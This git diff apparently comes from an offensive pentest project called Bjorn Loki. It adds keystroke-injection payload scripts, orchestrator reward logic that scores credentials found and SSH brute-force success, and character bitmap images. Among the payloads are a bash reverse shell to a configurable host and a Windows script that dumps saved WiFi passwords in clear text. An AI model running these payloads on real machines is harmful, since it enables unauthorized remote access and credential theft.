"h": [0, 11], + "i": [0, 12], "j": [0, 13], "k": [0, 14], "l": [0, 15], + "m": [0, 16], "n": [0, 17], "o": [0, 18], "p": [0, 19], + "q": [0, 20], "r": [0, 21], "s": [0, 22], "t": [0, 23], + "u": [0, 24], "v": [0, 25], "w": [0, 26], "x": [0, 27], + "y": [0, 28], "z": [0, 29], + + "A": [2, 4], "B": [2, 5], "C": [2, 6], "D": [2, 7], + "E": [2, 8], "F": [2, 9], "G": [2, 10], "H": [2, 11], + "I": [2, 12], "J": [2, 13], "K": [2, 14], "L": [2, 15], + "M": [2, 16], "N": [2, 17], "O": [2, 18], "P": [2, 19], + "Q": [2, 20], "R": [2, 21], "S": [2, 22], "T": [2, 23], + "U": [2, 24], "V": [2, 25], "W": [2, 26], "X": [2, 27], + "Y": [2, 28], "Z": [2, 29], + + "1": [0, 30], "2": [0, 31], "3": [0, 32], "4": [0, 33], + "5": [0, 34], "6": [0, 35], "7": [0, 36], "8": [0, 37], + "9": [0, 38], "0": [0, 39], + + "!": [2, 30], "@": [2, 31], "#": [2, 32], "$": [2, 33], + "%": [2, 34], "^": [2, 35], "&": [2, 36], "*": [2, 37], + "(": [2, 38], ")": [2, 39], + + "\n": [0, 40], "\r": [0, 40], + "\t": [0, 43], + " ": [0, 44], + + "-": [0, 45], "_": [2, 45], + "=": [0, 46], "+": [2, 46], + "[": [0, 47], "{": [2, 47], + "]": [0, 48], "}": [2, 48], + "\\": [0, 49], "|": [2, 49], + ";": [0, 51], ":": [2, 51], + "'": [0, 52], "\"": [2, 52], + "`": [0, 53], "~": [2, 53], + ",": [0, 54], "<": [2, 54], + ".": [0, 55], ">": [2, 55], + "/": [0, 56], "?": [2, 56] +} diff --git a/loki/payloads/hello_world.js b/loki/payloads/hello_world.js new file mode 100644 index 0000000..f5c094f --- /dev/null +++ b/loki/payloads/hello_world.js @@ -0,0 +1,9 @@ +// Hello World — Test payload that types a message in Notepad (Windows) +layout('us'); +delay(1000); +press("GUI r"); +delay(500); +type("notepad\n"); +delay(1000); +type("Hello from Bjorn Loki!\n"); +type("HID injection is working.\n"); diff --git a/loki/payloads/reverse_shell_linux.js b/loki/payloads/reverse_shell_linux.js new file mode 100644 index 0000000..d460762 --- /dev/null +++ b/loki/payloads/reverse_shell_linux.js @@ -0,0 +1,13 @@ +// Reverse Shell (Linux) — Bash reverse TCP. Set LHOST/LPORT before use. +// WARNING: For authorized penetration testing only. +var LHOST = "CHANGE_ME"; +var LPORT = "4444"; + +layout('us'); +delay(1000); + +// Open terminal (Ctrl+Alt+T is common on Ubuntu/Debian) +press("CTRL ALT t"); +delay(1500); + +type("bash -i >& /dev/tcp/" + LHOST + "/" + LPORT + " 0>&1\n"); diff --git a/loki/payloads/rickroll.js b/loki/payloads/rickroll.js new file mode 100644 index 0000000..ef5e5e3 --- /dev/null +++ b/loki/payloads/rickroll.js @@ -0,0 +1,6 @@ +// Rickroll — Opens browser to a famous URL (harmless test) +layout('us'); +delay(1000); +press("GUI r"); +delay(500); +type("https://www.youtube.com/watch?v=dQw4w9WgXcQ\n"); diff --git a/loki/payloads/wifi_exfil_win.js b/loki/payloads/wifi_exfil_win.js new file mode 100644 index 0000000..7e6f4f8 --- /dev/null +++ b/loki/payloads/wifi_exfil_win.js @@ -0,0 +1,20 @@ +// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh +// WARNING: For authorized penetration testing only. +layout('us'); +delay(1000); + +// Open CMD +press("GUI r"); +delay(500); +type("cmd\n"); +delay(1000); + +// Export all WiFi profiles with keys to a file +type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n"); +delay(3000); + +// Show WiFi passwords inline +type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n"); +delay(5000); + +console.log("WiFi profiles exported to C:\\Users\\Public"); diff --git a/orchestrator.py b/orchestrator.py index 638163d..8b053ce 100644 --- a/orchestrator.py +++ b/orchestrator.py @@ -345,62 +345,138 @@ class Orchestrator: return 0.0 # Base reward - reward = 50.0 if success else -5.0 - - if not success: - # Penalize time waste on failure - reward -= (duration * 0.1) - return reward - + base_reward = 50.0 if success else -5.0 + # ───────────────────────────────────────────────────────── - # Check for credentials found (high value!) + # Credential bonus (high value!) # ───────────────────────────────────────────────────────── + credential_bonus = 0.0 try: recent_creds = self.shared_data.db.query(""" - SELECT COUNT(*) as cnt FROM creds - WHERE mac_address=? + SELECT COUNT(*) as cnt FROM creds + WHERE mac_address=? AND first_seen > datetime('now', '-1 minute') """, (mac,)) - + if recent_creds and recent_creds[0]['cnt'] > 0: creds_count = recent_creds[0]['cnt'] - reward += 100 * creds_count # 100 per credential! - logger.info(f"RL: +{100*creds_count} reward for {creds_count} credentials") + credential_bonus = 100.0 * creds_count + logger.info(f"RL: +{credential_bonus:.0f} reward for {creds_count} credentials") except Exception as e: logger.error(f"Error checking credentials: {e}") - + # ───────────────────────────────────────────────────────── - # Check for new services discovered + # Information gain reward (always positive, even on failure) # ───────────────────────────────────────────────────────── + info_gain = 0.0 try: - # Compare ports before/after ports_before = set(state_before.get('ports', [])) ports_after = set(state_after.get('ports', [])) new_ports = ports_after - ports_before - if new_ports: - reward += 15 * len(new_ports) - logger.info(f"RL: +{15*len(new_ports)} reward for {len(new_ports)} new ports") + info_gain += 15 * len(new_ports) + logger.info(f"RL: +{15*len(new_ports)} info_gain for {len(new_ports)} new ports") except Exception as e: logger.error(f"Error checking new ports: {e}") - + # ───────────────────────────────────────────────────────── # Time efficiency bonus/penalty # ───────────────────────────────────────────────────────── + time_bonus = 0.0 if duration < 30: - reward += 20 # Fast execution bonus + time_bonus = 20.0 elif duration > 120: - reward -= 10 # Slow execution penalty - + time_bonus = -10.0 + # ───────────────────────────────────────────────────────── # Action-specific bonuses # ───────────────────────────────────────────────────────── if action_name == "SSHBruteforce" and success: - # Extra bonus for SSH success (difficult action) - reward += 30 - - logger.debug(f"RL Reward calculated: {reward:.1f} for {action_name}") - return reward + credential_bonus += 30.0 + + # ───────────────────────────────────────────────────────── + # AI-02: Novelty bonus - reward exploring un-tried action+host combos + # ───────────────────────────────────────────────────────── + novelty_bonus = 0.0 + try: + attempt_count = self._get_action_attempt_count(action_name, mac) + if attempt_count <= 1: + novelty_bonus = 10.0 # first try bonus + elif attempt_count <= 3: + novelty_bonus = 5.0 # still exploring + except Exception as e: + logger.debug(f"Novelty bonus calculation error: {e}") + + # ───────────────────────────────────────────────────────── + # AI-02: Diminishing returns - penalize repeating same failed action + # ───────────────────────────────────────────────────────── + repeat_penalty = 0.0 + if not success: + try: + consecutive_fails = self._get_consecutive_fail_count(action_name, mac) + repeat_penalty = min(consecutive_fails * 5.0, 25.0) # cap at -25 + except Exception as e: + logger.debug(f"Repeat penalty calculation error: {e}") + + # ───────────────────────────────────────────────────────── + # AI-02: Duration-proportional partial credit for failed actions + # ───────────────────────────────────────────────────────── + partial_credit = 0.0 + if not success and duration > 5: + partial_credit = min(duration * 0.5, 10.0) # cap at +10 + + total_reward = ( + base_reward + + credential_bonus + + info_gain + + time_bonus + + novelty_bonus + - repeat_penalty + + partial_credit + ) + + logger.debug( + f"RL Reward: {total_reward:.1f} for {action_name} " + f"(base={base_reward:.0f} cred={credential_bonus:.0f} info={info_gain:.0f} " + f"time={time_bonus:.0f} novelty={novelty_bonus:.0f} " + f"repeat_pen={repeat_penalty:.0f} partial={partial_credit:.1f})" + ) + return total_reward + + def _get_action_attempt_count(self, action_name: str, mac: str) -> int: + """AI-02: Get the total number of times this action was tried on this host.""" + try: + rows = self.shared_data.db.query( + "SELECT COUNT(*) AS cnt FROM ml_features WHERE action_name=? AND mac_address=?", + (action_name, mac), + ) + return int(rows[0]['cnt']) if rows else 0 + except Exception as e: + logger.debug(f"_get_action_attempt_count error: {e}") + return 0 + + def _get_consecutive_fail_count(self, action_name: str, mac: str) -> int: + """AI-02: Count consecutive failures for this action+host, most recent first.""" + try: + rows = self.shared_data.db.query( + """ + SELECT success FROM ml_features + WHERE action_name=? AND mac_address=? + ORDER BY timestamp DESC + LIMIT 10 + """, + (action_name, mac), + ) + count = 0 + for r in rows: + if int(r['success']) == 0: + count += 1 + else: + break + return count + except Exception as e: + logger.debug(f"_get_consecutive_fail_count error: {e}") + return 0 def execute_queued_action(self, queued_action: Dict[str, Any]) -> bool: """Execute a single queued action with RL integration""" @@ -559,7 +635,7 @@ class Orchestrator: # Determine success success = (result == 'success') - + # Update queue status based on result if success: self.shared_data.db.update_queue_status(queue_id, 'success') @@ -568,6 +644,16 @@ class Orchestrator: self.shared_data.db.update_queue_status(queue_id, 'failed') logger.warning(f"Action {action_name} failed for {ip}") + # Circuit breaker feedback (ORCH-01) + try: + cb_threshold = int(getattr(self.shared_data, 'circuit_breaker_threshold', 3)) + if success: + self.shared_data.db.record_circuit_breaker_success(action_name, mac) + else: + self.shared_data.db.record_circuit_breaker_failure(action_name, mac, threshold=cb_threshold) + except Exception as cb_err: + logger.debug(f"Circuit breaker update skipped: {cb_err}") + except Exception as e: logger.error(f"Error executing action {action_name}: {e}") self.shared_data.db.update_queue_status(queue_id, 'failed', str(e)) @@ -633,6 +719,23 @@ class Orchestrator: logger.debug(f"Features logged for {action_name} (mode={self.shared_data.operation_mode})") + # AI-03: Feed reward to AI engine for performance tracking + if self.ai_engine: + try: + self.ai_engine.record_reward(reward) + except Exception as e: + logger.debug(f"AI reward recording skipped: {e}") + + # AI-04: Update bootstrap scores for cold-start learning + if self.ai_engine: + try: + state_after = self._build_host_state(mac) + ports = set(state_after.get('ports', [])) + port_profile = self.ai_engine._detect_port_profile(ports) + self.ai_engine.update_bootstrap(action_name, port_profile, reward) + except Exception as e: + logger.debug(f"Bootstrap update skipped: {e}") + except Exception as e: logger.info_throttled( f"Feature logging skipped: {e}", @@ -674,6 +777,15 @@ class Orchestrator: # Execute the action self.execute_queued_action(next_action) + + # If exit was requested during execution, reset status + # immediately so the UI doesn't stay on the finished action. + if self.shared_data.orchestrator_should_exit: + self.shared_data.bjorn_orch_status = "IDLE" + self.shared_data.bjorn_status_text = "IDLE" + self.shared_data.bjorn_status_text2 = "" + self.shared_data.action_target_ip = "" + self.shared_data.active_action = None else: # IDLE mode idle_time += 1 @@ -704,6 +816,16 @@ class Orchestrator: time.sleep(self._loop_error_backoff) self._loop_error_backoff = min(self._loop_error_backoff * 2.0, 10.0) + # ── Reset status immediately upon exit ────────────────────── + # This ensures the UI shows IDLE as soon as the orchestrator stops, + # regardless of whether Bjorn.stop_orchestrator()'s join() timed out. + self.shared_data.bjorn_orch_status = "IDLE" + self.shared_data.bjorn_status_text = "IDLE" + self.shared_data.bjorn_status_text2 = "" + self.shared_data.action_target_ip = "" + self.shared_data.active_action = None + self.shared_data.update_status("IDLE", "") + # Cleanup on exit (OUTSIDE while loop) if self.scheduler: self.scheduler.stop() @@ -712,7 +834,7 @@ class Orchestrator: self.scheduler_thread.join(timeout=10.0) if self.scheduler_thread.is_alive(): logger.warning("ActionScheduler thread did not exit cleanly") - + logger.info("Orchestrator stopped") def _process_background_tasks(self): diff --git a/resources/default_config/characters/ALVA/static/0.bmp b/resources/default_config/characters/ALVA/static/0.bmp new file mode 100644 index 0000000000000000000000000000000000000000..8982328e596ce93f5f850070da1892b1f5df696f GIT binary patch literal 438 zcmZ?r-NwiO24+A~1BlsySOAC_86MjOm;A%-3=s!gbtF)NpTSgm?c9Np+7(qG~ib-ilXA=)<0kq zClT^z;@Ag6y>K4RdGEdFOZoaK36Jv$Kd=|<4J!%nP!PVk|9vg&A%Mf-5QbqK$IIms z;%~QG^dJb1$78eEv~3&i_j}*>(HDz_uIvB5g<7qKLdeI>X47i5y4@~ZtyU=LqtWPc zxs1nS6qqClM4!!OjYi{{$Fi*HbV>+a*OerxTrNY$aVC>VktfSCN}Nt7h)-s8Zu|Xy zrBbO@tFkP6o>#n|&*$}e{h8l1O)3&nJxx=3V_tYZpNoF*ce`D?-R|{zkR=rTM^R)L z#xswqs>Qs+;gAfB(CKs_&jy15&-lnn*(Bv4{(8Mezu)h-+fCCnQ4|$Lxn8e%o}>Q( D-Z7%4 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/25.bmp b/resources/default_config/characters/ALVA/static/25.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9b51eecbbd7b53585b9c8e5a81752e26e57fce86 GIT binary patch literal 438 zcmchTy$XXc6ouoIt#s_DTNiQb19a~sh~mps$PmRJ{D~kLI*5~dpP&z*@6tsmwFiqr z`T#v}4<}#lC6}Bpca1DM!H+14+M_gbfD>}X{bTp71;B(5P1D>~A=h;co+L?CRj%v$ zzVCS++OjMIM}uja>ol<}OG=4jp68r%+qNCYfrnv;ad3obnx3nW<2VM7qG(pN@wcjt ztL^iDI9_?FO4Ahk2SM<&4`U3xD2l%CyRK{77LHt&B{)7{97n@2D5bit55oWg{sEOT B_MHF# literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/50.bmp b/resources/default_config/characters/ALVA/static/50.bmp new file mode 100644 index 0000000000000000000000000000000000000000..dfffc4e5da5ddda465d3d3c5d902345ce35927fd GIT binary patch literal 438 zcmaKnziNYU5Xa48w^Fb}UqI~S;Ly#blS>CzSEH|Cmw+NF3I0pe=%!E5Q4qx!$Rdc3 z5gbxUzZfi}Ll5rD-RF0Azq|L3uN5)d8}t?a0Dpq7h!-e9eB!-%y!i|uS(f>}pCrlg zc!UN)a5x;mP18)%biH1ystOIm(6TIWymB13bQ3g9M^S`yyWOH!mSsgzph#WU1-EUx zsw%Xj3|f}uZnpzRu^$-lux7(hEVNBEXy%=I_f_m`#^6UQ`|6;~vF~m3xb2Lr+GiS5efX8uM6a}vHJP(@Z ZIW7Vp$Fb`=mSstjWEkdjI-SpF@E>QJ*NFfC literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/75.bmp b/resources/default_config/characters/ALVA/static/75.bmp new file mode 100644 index 0000000000000000000000000000000000000000..86f4638ae21f17d660acc6ac25e215b76ecdbf49 GIT binary patch literal 438 zcmY*VJ!^wd6g7i%D;+y`u>pyKP`4o6`xnH)gbeu+)k%#;QR8=UHIOA4I*LQbIAzH% z(IG;5h#1I)d${+!bMCwEeSZCph+BLB-;qzq7vzX|1ro$J&i|hKyb*vb%fc}H86pUR zJkP=Fx}GG7EX(ux90-|ZS>U568jr_=o1kerO;fbCZM&`u9MAI>iv`0l zEXx9y%Oxg54;ROA_xU`}$8n4nuKj+$TCK1c@NhUdjssrPwCiISh5;V3uInyCpziNg p6y;HVRaF&w+>0gg7CZ!qy8oZ1X-=mTMNuS4P9~G{`P{ZG^#9d*xat4^ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/AI.bmp b/resources/default_config/characters/ALVA/static/AI.bmp new file mode 100644 index 0000000000000000000000000000000000000000..819dac8f801731ba1313244c659f52e3866d30d2 GIT binary patch literal 1062 zcmbVLO^bn16uvJ)WELZOl?5ASYco5gw=B@auTYkhjbC8J4m%4{R3t1`o zOlgQDA2UzyosrLGnp5|5-t#=qIrpCTUhd5xBD}rAzhFIoFNUyu{zFJe>4`2r0r&YY z`@gQ&>oppUX0y3ouWwrqheM$CdVR52%w{vhtyXKbS`iYBMkNx7R4R?dVpqETes8r} zfvQxhe!m}yL=YhSR@h^i$(r?Znql= zxm=#jW~7=|`8(=Y>Lyn!uwRHQEVDqtUorF7N3!n~lk2 z0tJSyGMNk>N1>TOAVBv|_j%S2>0mGj7CI%9$xf%!?RFgw2QAZXw;$_3#GpX*`~6@| zr&BsCo6UAO93JbA$D_;Tg3e$tY`5EZJdPNaN~Nd>{@y;3PN&l#3Iu{&E{DM**6a22 z`TRE>C_0@EbhFv4R4Nhpe7=+DaX%nluNQP`m?!?_-*lBq1tX<8i^YO_cCHJBLV)m( z3x&evd)V!EcDr4zRfhh;e}dX|>vNxqPVuh^sLgjmG2gRWm?%27o4$2?l@6tdu76%ymWE>cJ&Nwizo?u{L{=mSn;jjbP3;_NcD*^xj literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/auto.bmp b/resources/default_config/characters/ALVA/static/auto.bmp new file mode 100644 index 0000000000000000000000000000000000000000..12b6f4f6b6463b953155b4105fc98dcb943d05b5 GIT binary patch literal 1062 zcmZ{j&u-d45XKi3F6FO!>K&=7WO~GKZVVhqrSKAs5IvDvJU}oJPr|hU-hgv~Lv3<_ zrsqJ^12k>GrayZUw<+q%yBg1Y-_Go}vv1$MimG7ftgo3b9%e+n4E*1pDK$#T3>+*! zHf#BQ{k+@ny_sWoEXy#ATre;?9m{cSLI6VWBX768UoLM<^J5~Bh{a-XYK)VUoTf#i z(L^#~nkE2XLJfHQeO)XHg@RI%#)rmqI&t0IJ{TC2@wi^EQ<+}SfeBS9va^w%&!^Mr z!C)Zp!}ap=Q!16xbsaDir997VHk)kMAM}9-r#z(j9;m$c`+qUEJIF%5ol*>fs z^La?b#*@uv#dCW49<+S7KF+5TdAB{%j zqhM?)Qfz(!0DI&aM^EY`jtY{4l|AstpiZc7a=B8;@O3%&b(#3ONLV3LaBJdYZDUPgp)=M?wtl% zEpPJqd?u3_{=d%#{XUIYEEaE9tDw&UmF^ddIlUK&L>dkHdg{4uSRQA>NhV0&uCF;I xlz-om`Q#ndYFrgUq>{;2t983t3h6H%rr*(?i%j9WMe=gFbaBy{&76aG`y1pIc>4eV literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/bjorn1.bmp b/resources/default_config/characters/ALVA/static/bjorn1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1c81cf61ed896f2c5c790ce87c6243d80f82a626 GIT binary patch literal 18462 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 